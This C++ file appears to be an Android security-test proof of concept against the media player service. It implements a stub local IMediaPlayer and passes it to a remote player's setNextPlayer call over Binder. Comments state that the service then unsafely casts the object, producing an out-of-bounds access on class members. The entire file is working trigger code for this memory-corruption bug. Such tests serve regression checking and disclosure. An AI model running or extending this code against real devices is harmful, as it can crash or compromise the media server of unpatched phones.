1 /**
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <binder/IServiceManager.h>
18 #include <media/IMediaHTTPService.h>
19 #include <media/IMediaPlayer.h>
20 #include <media/IMediaPlayerService.h>
21 #include <media/VolumeShaper.h>
22 #include <media/mediaplayer.h>
23
24 using namespace android;
25 using namespace android::media;
26
27 class MyMediaPlayer : public BnInterface<IMediaPlayer> {
28 public:
onTransact(uint32_t code,const Parcel & data,Parcel * reply,uint32_t flags=0)29 status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
30 uint32_t flags = 0) {
31 return OK;
32 }
disconnect()33 void disconnect() {}
34
setDataSource(const sp<IMediaHTTPService> & httpService,const char * url,const KeyedVector<String8,String8> * headers)35 status_t setDataSource(const sp<IMediaHTTPService> &httpService,
36 const char *url,
37 const KeyedVector<String8, String8> *headers) {
38 return OK;
39 }
40
setDataSource(int fd,int64_t offset,int64_t length)41 status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }
42
setDataSource(const sp<IStreamSource> & source)43 status_t setDataSource(const sp<IStreamSource> &source) { return OK; }
44
setDataSource(const sp<IDataSource> & source)45 status_t setDataSource(const sp<IDataSource> &source) { return OK; }
46
setVideoSurfaceTexture(const sp<IGraphicBufferProducer> & bufferProducer)47 status_t setVideoSurfaceTexture(
48 const sp<IGraphicBufferProducer> &bufferProducer) {
49 return OK;
50 }
51
getBufferingSettings(BufferingSettings * buffering)52 status_t getBufferingSettings(BufferingSettings *buffering) {
53 return OK;
54 }
55
setBufferingSettings(const BufferingSettings & buffering)56 status_t setBufferingSettings(const BufferingSettings &buffering) {
57 return OK;
58 }
59
prepareAsync()60 status_t prepareAsync() { return OK; }
61
start()62 status_t start() { return OK; }
63
stop()64 status_t stop() { return OK; }
65
pause()66 status_t pause() { return OK; }
67
isPlaying(bool * state)68 status_t isPlaying(bool *state) { return OK; }
69
setPlaybackSettings(const AudioPlaybackRate & rate)70 status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }
71
getPlaybackSettings(AudioPlaybackRate * rate)72 status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }
73
setSyncSettings(const AVSyncSettings & sync,float videoFpsHint)74 status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
75 return OK;
76 }
77
getSyncSettings(AVSyncSettings * sync,float * videoFps)78 status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }
79
seekTo(int msec,MediaPlayerSeekMode mode)80 status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }
81
getCurrentPosition(int * msec)82 status_t getCurrentPosition(int *msec) { return OK; }
83
getDuration(int * msec)84 status_t getDuration(int *msec) { return OK; }
85
notifyAt(int64_t mediaTimeUs)86 status_t notifyAt(int64_t mediaTimeUs) { return OK; }
87
reset()88 status_t reset() { return OK; }
89
setAudioStreamType(audio_stream_type_t stream)90 status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }
91
setLooping(int loop)92 status_t setLooping(int loop) { return OK; }
93
setVolume(float leftVolume,float rightVolume)94 status_t setVolume(float leftVolume, float rightVolume) { return OK; }
95
setAuxEffectSendLevel(float level)96 status_t setAuxEffectSendLevel(float level) { return OK; }
97
attachAuxEffect(int effectId)98 status_t attachAuxEffect(int effectId) { return OK; }
99
setParameter(int key,const Parcel & request)100 status_t setParameter(int key, const Parcel &request) { return OK; }
101
getParameter(int key,Parcel * reply)102 status_t getParameter(int key, Parcel *reply) { return OK; }
103
setRetransmitEndpoint(const struct sockaddr_in * endpoint)104 status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
105 return OK;
106 }
107
getRetransmitEndpoint(struct sockaddr_in * endpoint)108 status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }
109
setNextPlayer(const sp<IMediaPlayer> & player)110 status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }
111
applyVolumeShaper(const sp<VolumeShaper::Configuration> & configuration,const sp<VolumeShaper::Operation> & operation)112 VolumeShaper::Status applyVolumeShaper(
113 const sp<VolumeShaper::Configuration> &configuration,
114 const sp<VolumeShaper::Operation> &operation) {
115 return (VolumeShaper::Status)OK;
116 }
getVolumeShaperState(int id)117 sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }
118
prepareDrm(const uint8_t uuid[16],const Vector<uint8_t> & drmSessionId)119 status_t prepareDrm(const uint8_t uuid[16],
120 const Vector<uint8_t> &drmSessionId) {
121 return OK;
122 }
123
releaseDrm()124 status_t releaseDrm() { return OK; }
125
invoke(const Parcel & request,Parcel * reply)126 status_t invoke(const Parcel &request, Parcel *reply) { return OK; }
127
setMetadataFilter(const Parcel & request)128 status_t setMetadataFilter(const Parcel &request) { return OK; }
129
getMetadata(bool update_only,bool apply_filter,Parcel * reply)130 status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
131 return OK;
132 }
133
setOutputDevice(audio_port_handle_t deviceId)134 status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }
135
getRoutedDeviceId(audio_port_handle_t * deviceId)136 status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }
137
enableAudioDeviceCallback(bool enabled)138 status_t enableAudioDeviceCallback(bool enabled) { return OK; }
139 };
140
main()141 int main() {
142 sp<IBinder> binder =
143 defaultServiceManager()->getService(String16("media.player"));
144 sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
145 sp<IMediaPlayer> player = service->create(
146 new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);
147
148 if (player == NULL) {
149 return EXIT_FAILURE;
150 }
151
152 sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
153 if (localPlayer == NULL) {
154 return EXIT_FAILURE;
155 }
156
157 // set the data source to initialize mPlayer
158 player->setDataSource(NULL, "file:///test", NULL);
159
160 // Set the next player to a local instance of BnMediaPlayer.
161 // The remote side will construct a BpMediaPlayer object, and then
162 // unsafely cast it to a MediaPlayerService::Client.
163 // This will an out-of-bounds access on class members.
164 player->setNextPlayer(localPlayer);
165
166 return EXIT_SUCCESS;
167 }